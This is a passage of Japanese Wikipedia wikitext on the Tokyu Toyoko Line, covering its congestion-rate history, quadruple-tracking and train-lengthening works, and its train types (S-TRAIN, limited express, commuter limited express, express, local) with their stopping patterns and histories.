* 2017年(平成29年)度 - 自由が丘駅、綱島駅、妙蓮寺駅に設置<ref>{{PDFlink|[https://www.tokyu.co.jp/file/170512.pdf 2017年度の鉄軌道事業設備投資計画 田園都市線ホームドア整備本格着手など総額502億円]}} - 東京急行電鉄ニュースリリース 2017年5月12日</ref>。
* 2019年(平成31年・令和元年)度 - 多摩川駅、白楽駅、東白楽駅に設置<ref>{{PDFlink|[https://www.tokyu.co.jp/image/news/pdf/20190513-1.pdf 2019年度の鉄軌道事業設備投資計画 さらに安全、安心、快適な鉄道の実現に向け、総額619億円を投資]}} - 東京急行電鉄ニュースリリース 2019年5月13日</ref>。
== 利用状況 ==
2021年度の朝ラッシュ時の最混雑区間は[[祐天寺駅]] → [[中目黒駅]]間で、ピーク時(7:50 - 8:50)の[[乗車率|混雑率]]は'''116%'''である<ref>{{Cite web|和書|url=https://www.mlit.go.jp/report/press/content/001492054.pdf|archiveurl=|title=都市部の路線における最混雑区間の混雑率(2021)|date=2022-07-22|accessdate=2023-07-08|publisher=国土交通省|page=4|format=PDF}}</ref>。
沿線に多くの住宅地を抱える東横線は、かつてはラッシュ時の混雑が激しく、輸送力増強が急務となっていた。1976年度以前は混雑率が230%を越えていたが、1977年度に新玉川線(現在の[[東急田園都市線|田園都市線]]渋谷駅 - [[二子玉川駅]]間)が開業して混雑率が210%を下回った。その後は混雑率が概ね200%前後で推移していたが、1990年度をピークに輸送人員が減少して、1996年度に混雑率が190%を下回った。2000年度に目黒線が営団地下鉄南北線(現在の[[東京メトロ南北線]])・[[都営地下鉄三田線]]との直通運転を開始するとバイパス路線としての機能が強化され、2002年度から2019年度までは混雑率が概ね170%前後で推移している。
近年の輸送実績を下表に記す。表中、最高値を赤色で、最高値を記録した年度以降の最低値を青色で、最高値を記録した年度以前の最低値を緑色で表記している。
{| class="wikitable" border="1" style="font-size:85%; text-align:center;"
|-
!rowspan="2"|年度
!colspan="4"|最混雑区間(祐天寺 → 中目黒間)輸送実績<ref>「都市交通年報」各年度版</ref><ref>{{Cite web|和書|date=1987-09 |url=http://www.pref.kanagawa.jp/uploaded/attachment/373047.pdf |title=地域の復権―東京一極集中を越えて(昭和62年9月) |publisher=神奈川県 |accessdate=2015-05-10 |archiveurl=https://web.archive.org/web/20150113231849/http://www.pref.kanagawa.jp/uploaded/attachment/373047.pdf |archivedate=2015-01-13}}</ref>
!rowspan="2"|特記事項
|-
! 運転本数:本 !! 輸送力:人 !! 輸送量:人 !! 混雑率:%
|-
|1955年(昭和30年)
| 20 || 7,514 || 15,724 || '''209'''
|style="text-align:left;"|最混雑区間は代官山 → 渋谷間
|-
|1964年(昭和39年)
| 27 || 17,277 || 35,397 || '''205'''
|style="text-align:left;"|1964年8月29日、営団地下鉄日比谷線全線開業
|-
|1965年(昭和40年)
| 27 || 17,632 || 40,540 || '''230'''
|
|-
|1966年(昭和41年)
| 27 || 17,787 || 43,851 || style="background-color: #ffcccc;"|'''247'''
|style="text-align:left;"|最混雑区間を祐天寺 → 中目黒間に変更
|-
|1970年(昭和45年)
| 26 || 18,120 || 43,544 || '''240'''
|
|-
|1975年(昭和50年)
| 29 || 25,408 || 60,233 || '''237'''
|
|-
|1976年(昭和51年)
| 29 || 25,708 || style="background-color: #ffcccc;"|61,305 || '''238'''
|
|-
|1977年(昭和52年)
| 29 || 25,264 || 52,408 || '''207'''
|style="text-align:left;"|1977年4月7日、新玉川線開業
|-
|1980年(昭和55年)
| 27 || 24,648 || 51,305 || '''208'''
|
|-
|1985年(昭和60年)
| 27 || 27,624 || 56,480 || '''204'''
|
|-
|1986年(昭和61年)
| 27 || 29,496 || 57,473 || '''195'''
|
|-
|1987年(昭和62年)
| 27 || 29,496 || 58,182 || '''197'''
|
|-
|1988年(昭和63年)
| 27 || 29,496 || 59,324 || '''201'''
|
|-
|1989年(平成元年)
| 27 || 29,776 || 60,173 || '''202'''
|
|-
|1990年(平成{{0}}2年)
| 27 || 29,776 || 60,874 || '''204'''
|
|-
|1991年(平成{{0}}3年)
| 27 || 29,776 || 60,824 || '''204'''
|
|-
|1992年(平成{{0}}4年)
| 27 || 29,776 || 59,359 || '''199'''
|
|-
|1993年(平成{{0}}5年)
| 27 || 29,776 || 58,725 || '''197'''
|
|-
|1994年(平成{{0}}6年)
| 27 || 29,776 || 58,526 || '''197'''
|
|-
|1995年(平成{{0}}7年)
| 27 || 29,776 || 56,745 || '''191'''
|
|-
|1996年(平成{{0}}8年)
| 27 || 29,776 || 55,752 || '''187'''
|
|-
|1997年(平成{{0}}9年)
| 27 || 29,776 || 55,899 || '''188'''
|
|-
|1998年(平成10年)
| 27 || 29,776 || 56,067 || '''188'''
|
|-
|1999年(平成11年)
| 27 || 29,776 || 55,773 || '''187'''
|
|-
|2000年(平成12年)
| 27 || 29,776 || 52,929 || '''178'''
|style="text-align:left;"|2000年8月6日、目黒線開業(9月26日、営団・都営地下鉄と直通運転開始)
|-
|2001年(平成13年)
| 25 || 28,506 || 52,212 || '''183'''
|
|-
|2002年(平成14年)
| 26 || 29,688 || 51,555 || '''174'''
|
|-
|2003年(平成15年)
| 27 || 30,870 || 53,389 || '''173'''
|
|-
|2004年(平成16年)
| 27 || 30,870 || 53,888 || '''175'''
|
|-
|2005年(平成17年)
| 27 || 30,870 || 53,312 || '''173'''
|
|-
|2006年(平成18年)
| 27 || 30,870 || 52,252 || '''169'''
|style="text-align:left;"|2006年9月25日、目黒線の急行運転開始
|-
|2007年(平成19年)
| 27 || 30,870 || 53,254 || '''172'''
|style="text-align:left;"|2008年3月30日、横浜市営地下鉄グリーンライン開業
|-
|2008年(平成20年)
| 27 || 31,044 || 55,397 || '''178'''
|style="text-align:left;"|2008年6月14日、東京メトロ副都心線開業。6月22日、目黒線武蔵小杉 - 日吉間開業
|-
|2009年(平成21年)
| 27 || 31,218 || 54,262 || '''174'''
|style="text-align:left;"|2009年7月11日、大井町線二子玉川 - 溝の口間開業
|-
|2010年(平成22年)
| 27 || 31,218 || 53,293 || '''171'''
|
|-
|2011年(平成23年)
| 27 || 31,218 || 52,151 || '''168'''
|
|-
|2012年(平成24年)
| 27 || 31,218 || 52,151 || '''167'''
|style="text-align:left;"|2013年3月16日、東京メトロ副都心線直通運転開始。一部の車両を10両編成化
|-
|2013年(平成25年)
| 24 || 31,344 || 51,362 || '''164'''
|
|-
|2014年(平成26年)
| 24 || 31,344 || 52,667 || '''168'''
|
|-
|2015年(平成27年)
| 24 || 31,344 || 51,235 || '''163'''
|
|-
|2016年(平成28年)
| 24 || 31,344 || 53,266 || '''170'''
|
|-
|2017年(平成29年)
| 24 || 31,650 || 53,229 || '''168'''
|
|-
|2018年(平成30年)
| 24 || 31,650 || 54,376 || '''172'''
|
|-
|2019年(令和元年)
| 24 || 31,650 || 54,311 || '''172'''
|
|-
|2020年(令和{{0}}2年)
| 24 || 31,650 || 38,853 || '''123'''
|
|-
|2021年(令和{{0}}3年)
| 24 || 31,650 || style="background-color: #ccffff;"|36,719 || style="background-color: #ccffff;"|'''116'''
|
|}
=== 編成数の増強と車両の大型化 ===
戦後、東横線の利用者数が増えるにつれて編成数の増加などを行い、1969年の[[東急8000系電車|8000系]](2008年運転終了)の登場以降、3つドア18m車から、4つドア20m車のみの増備となった<ref group="注釈">(旧)7000系の更新車両である1000系を除く。</ref>。これに伴い前者は、日比谷線直通電車だけで運用されるようになった。昭和末期になると、さらに混雑が深刻化したため、東横線渋谷 - 桜木町(当時)間を運行する列車は順次20m車8両編成へと増強された。
=== 複々線化 ===
{{See also|東急目黒線#大規模改良工事}}
東横線の輸送需要増大に対応する抜本的対策の一つとして「東横線沿線から都心方面に向かう第2ルートの確保」が検討され、その結果として行われたのが「東横線・[[多摩川駅|多摩川園駅]] - [[日吉駅 (神奈川県)|日吉駅]]間4.8kmの[[複々線]]化」と「旧[[東急目蒲線|目蒲線]]・[[目黒駅]] - 多摩川園駅間の大規模改良」の実施による目蒲線経由での地下鉄への直通運転である<ref name="kajima199502">{{Cite web|和書|url=http://www.kajima.co.jp/news/digest/feb_1995/kajima_today/meguro.html|title=目黒経由の「第2ルート」を開拓 東横線複々線化事業進む|publisher=鹿島建設|date=1995-02|accessdate=2017-01-02}}</ref>。この工事の完成により、目蒲線改め[[東急目黒線|目黒線]]経由での[[東京メトロ南北線|南北線]]・[[都営地下鉄三田線|都営三田線]]への直通運転が行われている。
==== 田園調布駅 - 武蔵小杉駅間 ====
事業着手当時、[[田園調布駅]] - 多摩川園駅(現・多摩川駅)間は西側2線が東横線、東側2線が目蒲線の線路別複々線であった。事業後は目蒲線の蒲田直通をやめて日吉方面に直通させるため方向別複々線に配線を変更、田園調布駅を地下化、多摩川園駅を高架化し、多摩川園駅では蒲田方で折り返し運転となる目蒲線蒲田方面(現・[[東急多摩川線]])のホームを新たに地下に設置、 田園調布方向に地上との連絡線を設ける工事が行われた<ref name="kajima199502"/>。
また、多摩川園駅 - [[武蔵小杉駅]]間は、橋梁・高架線の拡幅・増設によって複々線化された。多摩川園駅の日吉方にある[[多摩川橋梁 (東急東横線)|多摩川橋梁]]は複々線形式での全面架け替えが行われている<ref name="kajima199502"/>。この工事は1999年5月15日に完成した。そして翌2000年8月6日、多摩川園駅を「多摩川駅」に改称し、同時に東横線の急行停車駅となった。多摩川駅を境に目蒲線は2つの路線に分離されている。
==== 武蔵小杉駅 - 日吉駅間 ====
目黒線の武蔵小杉駅までの開業に引き続き、目黒線を[[日吉駅 (神奈川県)|日吉駅]]まで延伸する形での複々線化工事が2000年3月30日から着工された<ref name="Tokyu2000-3-8"/>。
この第一段階として、2006年9月24日に武蔵小杉駅 - 日吉駅間が新たに完成した高架線への切り替えが行われた。この際に生じた事柄は以下の通りである。
* 前日の23日終電後から翌24日の始発前までにかけて同駅の日吉駅寄りにある道路([[尻手黒川道路]])の陸橋と東横線の線路の位置を入れ替える、いわゆる「逆立体化工事」が実施された。これにより東横線が上を走り、尻手黒川道路が下を走る構造になった。
* 元住吉駅には[[元住吉検車区]]が併設されているが、高架化の完成によって同駅の位置が日吉寄りに移設され、すなわち同検車区直上に建設された高架駅に切り替わった。このため、元住吉駅から地上にある元住吉検車区に出入りできない構造になった。高架化前まで運転されていた元住吉駅始発・終着列車はすべて武蔵小杉駅あるいは日吉駅発着へと変更された。武蔵小杉駅と元住吉検車区とを結ぶ回送列車は、高架化前の線路を使用する。
* ただし、終電(上下線1本ずつ)に限っては従来通り元住吉行であり、この場合はホームに停泊した後、翌日の同駅始発列車に充当される。
* 2009年6月6日のダイヤ改正より、上り方面の最終菊名行き(土曜・休日は急行日吉行き)は乗客を全員下ろしたあと、元住吉駅6番線(優等列車用の通過線)で翌朝まで停泊する。
* 下り線に限り、元住吉検車区から日吉駅へ直接進入することができる「下り出庫線」が設けられているため、元町・中華街方面行の多くは日吉駅始発列車である。
その後、工事の進捗により2007年8月23日のダイヤ改正から、日吉駅の[[待避線]]と[[引き上げ線]]の使用を中止し、これらを目黒線のものに置き換える工事が開始された。
* 待避線の使用中止に伴い、それまで日吉駅で行われていた各駅停車と通勤特急や急行との緩急接続および特急の通過待ちなどは、すべて隣の元住吉駅での通過待ちとなった。
* 引き上げ線の使用中止に伴い、それまでの日吉駅発着の列車は廃止され、すべて武蔵小杉駅もしくは菊名駅発着となった。これにより、[[東京メトロ日比谷線]]直通電車は終日菊名駅に乗り入れるようになった(それまでの日中運用では日吉行であった)。
かつて東横線が使用していた線路の一部を整備して目黒線用の線路とし、同線を2008年6月22日に日吉駅まで延伸させた。
* 目黒線は、武蔵小杉駅 - 元住吉駅間の北側約200mの位置(旧駅舎のホーム付近)までは、東横線が高架化前に使用していた地平の線路を使用する。前述した通り、この区間は武蔵小杉と元住吉検車区とを結ぶ回送列車も使用する。旧駅舎のホーム跡付近で元住吉検車区への入・出庫線と分岐した後、その分岐点で東横線旧本線を撤去して建設された上り勾配線を使用して、高架にある元住吉駅構内に進入する。
* 元住吉駅 - 日吉駅間は、高架化前の東横線の部分(現在の東横線の内側)を走る形になる。
* 当初は同年3月の延伸予定([[横浜市営地下鉄グリーンライン]]とほぼ同時)だったが、3か月遅れることになった。
=== 優等列車の10両編成化 ===
東横線は、2013年3月16日より開始された[[東京メトロ副都心線]]との[[直通運転|相互直通運転]]に合わせ、[[優等列車]]である特急・通勤特急・急行をそれまでの8両編成から10両編成に増強した([[#東京メトロ副都心線との直通運転|後述]])<ref name="Fuku-10R">[https://web.archive.org/web/20120620034030/http://www.tokyu.co.jp/railway/railway/east/pr/sby_ykhm.html 東横線渋谷 - 横浜間改良工事(東急電鉄)](インターネットアーカイブ・2012年時点の版)</ref>。これに伴い、優等列車停車駅においては10両編成の列車が停車できるように、2両分のホーム[[有効長]]延伸工事を実施した<ref name="Fuku-10R"/>。
優等列車通過駅でも非常時に停車できるようにするため、順次2両分のホーム延長工事を施工している(通常延伸部は柵で塞がれており、ホームドアも設置されていない)。
== 列車種別 ==
本節以降、「本線系統」とあるのは横浜方面・みなとみらい線直通系統のことを指す。
=== S-TRAIN ===
{{Main|S-TRAIN}}
[[ファイル:Seibu 40101 S-Train 20170422.jpg|thumb|200px|西武40000系によるS-TRAIN(2017年4月)]]
土休日に2.5往復(元町・中華街行き2本、元町・中華街発3本)が運行されている、西武鉄道が主体となって運行する東急初の[[座席指定席|座席指定列車]]。全列車が副都心線を経由して西武池袋線まで乗り入れ、1往復は[[西武秩父線]][[西武秩父駅]]発着となる。[[座席指定券]]は通過駅を含む東横線各駅の自動券売機で発行する。
10両固定編成の[[西武40000系電車|西武40000系]]が専用で使用される。
* 東横線内の停車駅 : 渋谷駅 - [[自由が丘駅]] - 横浜駅(中目黒駅・武蔵小杉駅・菊名駅にも停車するが、旅客の乗降を取り扱わない[[停車 (鉄道)#運転停車|運転停車]])
==== S-TRAINの歴史 ====
* 2017年3月25日のダイヤ改正より運転を開始した<ref name="tokyu20170110" /><ref name="tokyu20170302" />。
* 2023年3月18日のダイヤ改正より運転時刻の繰り下げを実施<ref name="tokyu20221216-2" />。
=== 特急(東横特急) ===
{{Redirect|東横特急|『SUPER BELL"Z&向谷実』のアルバム「東横特急」|東横特急 (SUPER BELL"Z&向谷実のアルバム)}}
{{See also|Fライナー}}
[[File:Tokyu8000NoBand.jpg|thumb|200px|8000系による特急(2005年9月)]]
特別料金不要の列車としては東横線・[[横浜高速鉄道みなとみらい線|みなとみらい線]]の最速達種別。乗車券のみで利用可能。全て10両編成で、平日は昼間のみ、土曜・休日は早朝・深夜をのぞく終日にわたって運転される。上下線の全ての列車が自由が丘駅と[[菊名駅]]で各駅停車に接続するほか、一部の上り特急は[[武蔵小杉駅]]にて[[元住吉駅]]で追い抜いた各駅停車に連絡する。所要時間は最速で[[渋谷駅]] - [[横浜駅]]間26分([[元町・中華街駅]]までは35分)。平日始発から朝ラッシュ時までと、夕方から終電までは運転されず、代わりに[[#通勤特急|通勤特急]]が運転される。ほとんどの列車が東京メトロ副都心線に直通し、直通先の副都心線内ではほとんどの列車が急行となる。一部時間帯に和光市駅発着が設定されている以外は副都心線を経由して西武池袋線または東武東上線に乗り入れており、西武池袋線直通は主に[[小手指駅]]発着の快速急行として、東武東上線直通は主に[[森林公園駅 (埼玉県)|森林公園駅]]発着の快速急行としてそれぞれ乗り入れる。副都心線小竹向原駅では池袋線直通列車は[[東京メトロ有楽町線|有楽町線]]からの東上線直通列車に、東上線直通列車は有楽町線からの池袋線直通列車に連絡する<ref group="注釈">なお、平常ダイヤの場合、有楽町線からの池袋線列車は、東新宿駅で追い抜いた和光市行列車が到着した後に小竹向原駅に到着する。</ref>場合が多いが、ダイヤ乱れ時には変更される場合がある。
* 東横線内の停車駅 : 渋谷駅 - 中目黒駅 - 自由が丘駅 - 武蔵小杉駅 - 菊名駅 - 横浜駅
主な運行開始の理由としては、JR東日本の[[湘南新宿ライン]]運行開始に先立ち、その対抗手段としての渋谷駅 - 横浜駅 - [[桜木町駅]](当時)間における競争力強化である。また、2000年8月6日のダイヤ改正より[[武蔵小杉駅]] - [[田園調布駅]]間において複々線の併用が開始([[東急目黒線|目黒線]]の開業)されたことで東横線のダイヤに余裕が出たことに加え、同日から[[#急行|急行]]が[[多摩川駅]]に停車するようになった。その結果、ダイヤ改正当時の急行通過駅(12駅)と同停車駅(11駅)の比率が逆転し、停車駅数が通過駅数を上回るようになった上、同駅・田園調布駅・[[自由が丘駅]]と3駅連続停車が生じたことや到達時間が延びたことで、利用客からクレームが頻発し(ほぼ1駅おきに停車することから、[[各駅停車]]をもじって「隔駅停車」と揶揄された<ref name="shintokyoken">川島令三『新東京圏通勤電車事情大研究』草思社、1990年、280頁。</ref><ref>{{Cite book|和書|title=ダイヤグラムで広がる鉄の世界: 運行を読み解く&スジを引く本|author=井上孝司|publisher=[[秀和システム]]|isbn=978-4798024127|date=2009-10|pages=p.97|accessdate=2011-05-04}}</ref>)、新たな上位速達列車の導入を求められたことなどが挙げられる。
2016年3月26日のダイヤ改正で、東横線・みなとみらい線内特急・副都心線内急行・東武東上線内急行(2023年3月18日のダイヤ改正以降は快速急行)・西武線内快速急行の組み合わせとなる列車には「[[Fライナー]]」の愛称が付与されている<ref name="tokyu20151218" /><ref>[http://trafficnews.jp/post/47029/ 新愛称「Fライナー」、メトロ副都心線系統に来春導入] - 乗りものニュース、2015年12月18日</ref><ref name="tokyu20160225" />。
==== 特急の歴史 ====
* 2001年3月28日のダイヤ改正より渋谷駅 - [[桜木町駅]]間で運転を開始した<ref name="HOT2001-3"/><ref name="交通2001206"/>。当時は平日朝ラッシュ時間帯には運転されていなかった。東急での特急列車の設定はこの時が初めてである。
** 当時の停車駅:渋谷駅 - 自由が丘駅 - 武蔵小杉駅 - 菊名駅 - 横浜駅 - 桜木町駅<ref name="HOT2001-3"/>
* 特急運行開始から短期間、キャンペーンのために[[東急8000系電車|8000系]]の先頭車前面に青地に桜をデザインした「特急」と表記された絵文字ヘッドマークを掲出して運転していた。運行開始当初は『[[サザエさん]]』によるPRが行われていた。
* 2003年3月19日のダイヤ改正より、[[中目黒駅]]が新たに特急停車駅となった<ref name="JRC613"/>。[[目黒区役所|目黒区総合庁舎]]の移転や同駅周辺の再開発事業が進み乗降客数が増えたことと、[[東京メトロ日比谷線|日比谷線]]との乗り換えを考慮したからである<ref>{{PDFlink|[http://www.tokyu.co.jp/file/030124.pdf 2003年3月19日(水)、東急線全線のダイヤを改正します。]}}</ref>。また、平日ダイヤにおいては朝ラッシュ時間帯が一段落する9時台からの運転であったが、このダイヤ改正からは平日早朝にも運転されるようになった。
* 2004年10月11日より利用促進の一環として「'''東横特急'''」の愛称が与えられ、同時にPR作戦も開始された<ref>[http://www.tokyu.co.jp/contents_index/guide/news/041008.html 10月11日(月・祝)から「東横特急」の集中的なPRを開始!]</ref>。これは5日後の10月16日のJR東日本のダイヤ改正で湘南新宿ラインを大増発するということに対抗するものであり、駅や車内のポスター、[[パスネット]]で「T⇔Y 東横特急 TOYOKO LIMITED EXPRESS」という図柄が使われた。さらに、PR作戦では同時にキャッチフレーズも与えられ、2004年10月11日の開始時点では「'''街と街の、どまんなかへ'''」だったが、2006年3月18日のダイヤ改正からは「'''街のまんなか、東へ横へ'''」となっている。なお、「東横特急」は東急の[[商標|登録商標]](登録番号第4857386号)である。
* 2008年1月13日に運転された「さようなら8000系臨時特急」では、運行開始初日に一番列車に充当した8000系8017Fによって運転され、通常停車しない[[元住吉駅]]にも停車した。
* 2008年6月22日のダイヤ改正で、平日朝と夕方以降はすべて通勤特急に置き換えられたため、平日に特急が運転される時間帯は日中のみとなる。
=== 通勤特急 ===
平日の朝夕ラッシュ時間帯と夜間に特急の代わりとして運転される速達列車。特急と同様10両編成で運転される。特急停車駅に加え、[[日吉駅 (神奈川県)|日吉駅]]とみなとみらい線の[[馬車道駅]]・[[日本大通り駅]]に停車し、[[自由が丘駅]]と[[菊名駅]]で各駅停車に連絡する。土曜・休日ダイヤでの運行はない。夜間の一部列車を除き東京メトロ副都心線に直通し、直通先の副都心線内では主に急行・通勤急行となる。東上線内は主に普通(一部急行)、西武有楽町線・池袋線内は主に快速(一部快速急行・準急・各駅停車)となる。
* 東横線内の停車駅 : 渋谷駅 - 中目黒駅 - 自由が丘駅 - 武蔵小杉駅 - [[日吉駅 (神奈川県)|日吉駅]] - 菊名駅 - 横浜駅
車両の行先表示や、駅構内に設置されている一部の発車標では、表示スペースが狭いこともあり「'''通特'''」と省略の上で表示されている。また、英語表記は「Com. Exp.(=通勤急行)」「Commuter Limited Express」などの表記揺れがあり、統一されていない。
==== 通勤特急の歴史 ====
* 2003年3月19日のダイヤ改正より運転を開始し、運行開始当初は桜木町(後に元町・中華街)発渋谷行が平日朝ラッシュ時間帯に4本、平日17時から20時30分まで15分間隔で渋谷を発車する桜木町行き(2004年2月1日からは元町・中華街行き)が15本設定されていた<ref name="JRC613"/>。
* 2006年
** 3月18日のダイヤ改正より、平日朝ラッシュ時間帯における急行(上下線)の一部、朝7時台の元町・中華街発渋谷行き特急1本、17時から20時30分まで横浜駅に発着する特急渋谷行き15本を通勤特急にそれぞれ変更した。
** 9月24日のダイヤ改正より、21時台と22時台に渋谷駅を発車する元町・中華街行きの3本を増発した。
* 2007年
** 8月23日のダイヤ改正より、目黒線の延伸工事に伴い日吉駅の待避線が使用停止となったことから、それまで一部の通勤特急が同駅で行っていた緩急接続を廃止し、代替として元住吉駅で各駅停車を追い抜く運用に変更された。
** 11月29日から12月21日までの毎週木・金曜日に、渋谷発元町・中華街行を2本増発した。増発したのは渋谷駅23時19分発と23時52分発であった。翌2008年と2009年の同期間においても同じ時刻で臨時の通勤特急が運転された。
* 2008年6月22日に目黒線日吉延伸と同時に実施されたダイヤ改正(平日ダイヤは翌23日)で、平日始発から9時台前半までと17時から終電までに運行されている特急(上下線)をすべて通勤特急に置き換えた。これは、[[横浜市営地下鉄グリーンライン]]の開業および[[東急目黒線|目黒線]]の延伸開業に伴い、日吉駅における利便性を向上させるためである。
=== 急行 ===
東横線・みなとみらい線の速達列車の中では最も停車駅が多い種別であり、終日にわたり運転される。10両編成と8両編成の両方が充当される(8両編成は本線系統のみ)。特急と同様、[[自由が丘駅]]と[[菊名駅]]で各駅停車に連絡する列車や、上り線は朝ラッシュ時を中心に[[祐天寺駅]]で各駅停車を追い抜く列車がある。渋谷駅発着で運転される一部列車を除き東京メトロ副都心線に直通し、直通先の副都心線内では主に平日朝ラッシュ時間帯が急行・通勤急行となる以外は各駅停車となる。日中は本線系統は線内完結列車と和光市発着が各2本。相鉄線直通系統は和光市発着と川越市発着が各1本の毎時6本となり、朝晩は西武池袋線小手指・[[清瀬駅|清瀬]]行きや東武東上線[[志木駅|志木]]行きなどが見られる。定期の急行は特急や通勤特急を待避せず、終着駅まで先着する(東横線・みなとみらい線内のみ。副都心線以北を除く)。臨時列車が運転される場合のみ特急の通過待ちをすることがある。なお、2023年3月改正時に自由が丘駅でS-TRAIN元町・中華街行きと接続・待避する急行湘南台行きが、土曜・休日ダイヤの午前中に1本設定されている。2023年8月10日より平日ダイヤの夜間に東急車による列車5本で有料座席指定サービス「[[#Qシート|Qシート]]」が実施されている。
* 東横線内の停車駅<!--
** 本線系統--> : 渋谷駅 - 中目黒駅 - 学芸大学駅 - 自由が丘駅 - 田園調布駅 - 多摩川駅 - 武蔵小杉駅 - 日吉駅 - 綱島駅 - 菊名駅 - 横浜駅<!--
** 相鉄線直通系統 : 渋谷駅 -(本線系統と同じ)- 日吉駅-->
2駅以上連続して停車する区間が、自由が丘 - 多摩川間(3駅連続)、日吉 - 綱島間(2駅連続)<!--、みなとみらい - 元町・中華街間(4駅連続)-->と多い。
渋谷 - 横浜間の所要時間は最短29分(元町・中華街まで38分)。
通常の急行は[[元住吉駅]]を通過する。[[元住吉検車区]]の出入りのために、以前は元住吉駅を始発・終着とする急行が存在した。しかし、2006年9月24日より元住吉駅が高架化され、駅構内からの入出庫ができなくなったことに伴い、翌25日のダイヤ改正から、それまでの元住吉駅発着の急行はすべて日吉駅・武蔵小杉駅発着に変更された。
[[東急7200系電車|7200系]]以前の車両が急行運用に就く時は「急行」の種別表示札を装着して運用していた。[[東急8000系電車|8000系]]も「急行」の種別表示札を装着していたが、後に方向幕に種別表示を行うようになった。
==== 急行の歴史 ====
* 1935年2月1日 運転を開始。
** 当時の停車駅:渋谷駅 - [[学芸大学駅|青山師範駅]] - 自由ヶ丘駅<!--(1966年に自由が丘駅と改称)--> - 田園調布駅 - [[新丸子駅]] - 日吉駅 - [[綱島駅|綱島温泉駅]] - [[妙蓮寺駅]] - [[反町駅]] - 横浜駅 - 桜木町駅。
* 1941年8月4日 急行運転廃止。
* 1950年8月1日 急行運転復活。
* 1952年4月1日 昇圧工事に伴い、急行運転を再び休止。
* 1955年4月1日より運転を再開{{R|交通550316}}。当時は日中のみ。
** 当時の停車駅:渋谷駅 - 学芸大学駅 - 自由ヶ丘駅 - 田園調布駅 - 武蔵小杉駅 - 日吉駅 - 綱島駅 - 菊名駅 - 横浜駅 - 桜木町駅{{R|交通550316}}。
* 1955年10月1日 終日運転になる(朝ラッシュ時のみ菊名駅 - 桜木町駅間は各駅停車)。
* 1956年10月1日 菊名駅 - 桜木町駅間が通過運転に統一{{R|交通560909}}。
* 1964年8月29日 中目黒駅を停車駅に追加。
* 2000年8月6日 多摩川駅を停車駅に追加。
* 2006年9月25日 [[元住吉駅]]始発・終着の列車を廃止。
* 2023年3月18日 [[東急新横浜線]]開業、[[相鉄新横浜線]]全通、並びに[[相鉄本線]]・[[相鉄いずみ野線|いずみ野線]]への直通運転開始に伴い、日吉駅以南で[[新綱島駅]]・[[新横浜駅]]・相鉄線方面へ分岐する列車が新規設定される。
* 2023年8月10日 平日夜間の東急車による渋谷始発元町・中華街行き5本の4号車・5号車で有料座席指定サービス「Qシート」を開始。
=== 各駅停車 ===
<!--「各停」は種別表示器上の表記-->
速達列車の通過駅の有効長の関係で、すべての列車が東急・横浜高速鉄道・東京メトロの車両による8両編成で運転されている<ref group="注釈">東急・横浜高速の2社の車両は共通運用。</ref>。主に[[元町・中華街駅|元町・中華街]]発着の列車が[[自由が丘駅]]・[[菊名駅]]で[[#急行|急行]]または[[#特急(東横特急)|特急]](時間帯によっては[[#通勤特急|通勤特急]])に接続する。
日中時間帯は1時間に8本設定されており、内訳は渋谷 - 元町・中華街間を通しで運転する列車(線内完結列車)が2本、副都心線直通 - 元町・中華街間を運転する列車が6本(内訳は副都心線[[池袋駅]]・[[和光市駅]]発着が2本ずつ、池袋線[[石神井公園駅]]発着が2本)である。すべての列車が直通先の副都心線内でも各駅停車として運転する。また、東京メトロの車両は、東横線・みなとみらい線内のみを運転する一部列車(渋谷 - 菊名間および渋谷 - 元町・中華街間など)にも使用されている。以前は日中時間帯に菊名 - 副都心線池袋間を走る各駅停車が毎時2本運行していたが、2022年3月12日のダイヤ改正で消滅した<ref>{{Cite web|和書|format=PDF|url=https://www.tokyu.co.jp/image/news/pdf/20211217-1.pdf |title=2022年3月12日(土) 東横線・目黒線・田園都市線など東急線5路線でダイヤ改正を実施|publisher=東急電鉄|date=2021年12月17日|accessdate=2021年12月17日}}</ref>。
日中以外の時間帯には、和光市駅より先の東上線[[志木駅]]発着(平日のみ)のほか、副都心線[[新宿三丁目駅]]発着、池袋線[[飯能駅]](土休日のみ)・[[小手指駅]]・[[所沢駅]]・[[清瀬駅]]発着もある。東横線側では[[武蔵小杉駅]]・[[菊名駅]]・[[横浜駅]]発着、[[日吉駅 (神奈川県)|日吉]]発元町・中華街行きもあるが、2023年3月18日のダイヤ改正で相鉄線直通急行に振り替えられる形で東横線内の区間運転は減少した。
副都心線との直通運転開始当初は日中の渋谷駅発着列車は元町・中華街行と菊名行の各2本ずつであったが、2016年3月26日のダイヤ改正で元町・中華街行4本に変更されるとともに副都心線新宿三丁目駅発着列車が元町・中華街行から菊名行に変更された。2017年3月25日のダイヤ改正で、日中の新宿三丁目駅発着が池袋駅発着に延長され、2022年3月12日のダイヤ改正で渋谷駅発着が2本減となり池袋発着は元町・中華街行きに延長となった。
特急運転開始以前は、日中において多くの各駅停車が、渋谷 - 桜木町間のほぼ中間に位置する日吉で急行の待ち合わせを行っており、始発駅から数えて「急行 → 各駅停車(待避なし) → 各駅停車(日吉で急行待ち)」という順番でダイヤが組まれていた。これは、2019年1月現在の[[東急目黒線]]の日中のダイヤにおいても同様の例が見られる。
かつては方向幕に種別表示を行っていなかったが、みなとみらい線開業を控えた2004年1月までに表記を開始した。
=== 運行本数 ===
2023年3月18日ダイヤ改正時点での東横線(一体として運行されている[[東京メトロ副都心線]]、[[横浜高速鉄道みなとみらい線|みなとみらい線]]を含む)における日中1時間あたりの運行本数は以下のとおりである。
{| class="wikitable" style="font-size:90%;"
|+日中の運行パターン
|-
!路線名
! rowspan="2" |運行本数
! colspan="2" rowspan="2" |東武東上線<br>西武池袋線<br>方面
! colspan="8" |東京メトロ<br>副都心線
! colspan="5" |東急東横線
! colspan="3" |みなと<br>みらい線
! rowspan="2" |備考
|-
!駅名<br>\<br>種別
! style="width:1em;" |和光市
!…
! colspan="2" style="width:1em;" |小竹向原
!…
! style="width:1em;" |池袋
!…
! colspan="2" style="width:1em;" |渋谷
!…
! style="width:1em;" |日吉
!…
! colspan="2" style="width:1em;" |横浜
!…
! style="width:1em;" |元町<br />・<br />中華街
|- style="text-align:center;"
| rowspan="2" style="background:orange;" |特急<br />(Fライナー)
|2本
| colspan="2" style="text-align:right" |←森林公園|| colspan="8" style="background:pink;" |
| colspan="8" style="background:orange;" |
| rowspan="2" style="text-align:center;" |副都心線内(Fライナー)急行<br />西武線・東武線内(Fライナー)快速急行
|- style="text-align:center;"
|2本
| colspan="4" style="text-align:right" |←小手指|| colspan="6" style="background:pink;" |
| colspan="8" style="background:orange;" |
